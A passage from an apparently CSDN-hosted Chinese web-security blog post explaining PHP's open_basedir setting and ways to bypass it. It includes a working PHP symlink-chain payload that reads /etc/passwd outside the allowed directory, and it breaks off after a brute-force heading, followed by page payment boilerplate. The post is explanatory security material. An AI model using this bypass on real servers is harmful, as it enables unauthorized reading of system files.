【web安全】你的open_basedir安全吗?

本文探讨了PHP的open_basedir配置的安全性和如何绕过限制。内容包括open_basedir的限制作用,多种绕过方法,如命令执行、syslink函数、glob伪协议等,并介绍了如何利用ini_set()动态改变配置。文章总结了各种绕过策略的优缺点,提醒开发者关注此安全设置。
摘要由CSDN通过智能技术生成

一、open_basedir

看一下php.ini里面的描述:

 ; open_basedir, if set, limits all file operations to the defined directory
; and below. This directive makes most sense if used in a per-directory or
; per-virtualhost web server configuration file. This directive is
; *NOT* affected by whether Safe Mode is turned On or Off. 

open_basedir可将用户访问文件的活动范围限制在指定的区域,通常是其目录的路径,也可用符号"."来代表当前目录。

注意用open_basedir指定的限制实际上是前缀,而不是目录名。(其实我也是才知道的)
比如open_basedir = /dir/user", 那么目录 “/dir/user” 和 "/dir/user1"都是可以访问的,所以如果要将访问限制在仅为指定的目录,可以将open_basedir = /dir/user/

二、Bypass

命令执行

为什么选命令执行,因为open_basedir和命令执行无关,就可以直接获取目标文件。

如果遇到disable_functions,就多换几个函数;如果关键字被过滤,办法也很多,可以参考大佬文章

【安全技术学习文档】

syslink() php 4/5/7/8

symlink(string $target, string $link): bool

原理是创建一个链接文件 aaa 用相对路径指向 A/B/C/D,再创建一个链接文件 abc 指向 aaa/…/…/…/…/etc/passwd,其实就是指向了 A/B/C/D/…/…/…/…/etc/passwd,也就是/etc/passwd。这时候删除 aaa 文件再创建 aaa 目录但是 abc 还是指向了 aaa 也就是 A/B/C/D/…/…/…/…/etc/passwd,就进入了路径/etc/passwd
payload 构造的注意点就是:要读的文件需要往前跨多少路径,就得创建多少层的子目录,然后输入多少个../来设置目标文件。

 <?php
highlight_file ( __FILE__ );
mkdir ( "A" ); //创建目录
chdir ( "A" ); //切换目录
mkdir ( "B" );
chdir ( "B" );
mkdir ( "C" );
chdir ( "C" );
mkdir ( "D" );
chdir ( "D" );
chdir ( ".." );
chdir ( ".." );
chdir ( ".." );
chdir ( ".." );
symlink ( "A/B/C/D" , "aaa" );
symlink ( "aaa/../../../../etc/passwd" , "abc" );
unlink ( "aaa" );
mkdir ( "aaa" );
?> 

暴力破解

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值